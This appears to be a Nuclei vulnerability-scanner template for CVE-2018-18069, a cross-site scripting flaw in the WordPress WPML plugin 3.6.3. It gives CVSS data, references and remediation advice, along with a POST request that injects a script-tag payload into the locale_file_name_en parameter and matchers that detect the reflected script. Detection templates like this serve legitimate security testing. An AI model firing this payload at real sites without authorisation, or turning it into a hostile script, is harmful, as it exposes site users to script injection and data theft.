id: CVE-2018-18069

info:
  name: WordPress sitepress-multilingual-cms 3.6.3 - Cross-Site Scripting
  author: nadino
  severity: medium
  description: WordPress plugin sitepress-multilingual-cms 3.6.3 is vulnerable to cross-site scripting in process_forms via any locale_file_name_ parameter (such as locale_file_name_en) in an authenticated theme-localization.php request to wp-admin/admin.php.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft or unauthorized actions.
  remediation: |
    Update WordPress sitepress-multilingual-cms to the latest version to mitigate the XSS vulnerability.
  reference:
    - https://0x62626262.wordpress.com/2018/10/08/sitepress-multilingual-cms-plugin-unauthenticated-stored-xss/
    - https://nvd.nist.gov/vuln/detail/CVE-2018-18069
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/Elsfa7-110/kenzer-templates
    - https://github.com/merlinepedra/nuclei-templates
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2018-18069
    cwe-id: CWE-79
    epss-score: 0.12763
    epss-percentile: 0.95766
    cpe: cpe:2.3:a:wpml:wpml:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 1
    vendor: wpml
    product: wpml
    framework: wordpress
  tags: cve2018,cve,wordpress,xss,plugin,wpml,vuln

http:
  - method: POST
    path:
      - "{{BaseURL}}/wp-admin/admin.php"

    body: |
      icl_post_action=save_theme_localization&locale_file_name_en=EN"><script>alert(0);</script>
    host-redirects: true
    max-redirects: 2
    matchers:
      - type: dsl
        dsl:
          - 'contains(tolower(header), "text/html")'
          - 'contains(set_cookie, "_icl_current_admin_language")'
          - 'contains(body, "\"><script>alert(0);</script>")'
        condition: and
# digest: 490a00463044022028e0383a467fe0874f29c7537b5316bf629d437b312b95b9ac2ff54a0e8f753502204a1b5596f2ebdf12d78e075531a8e1d7f1b14a923b9f04e0ac59f224b2f1b879:922c64590222798bb761d5b6d8e72950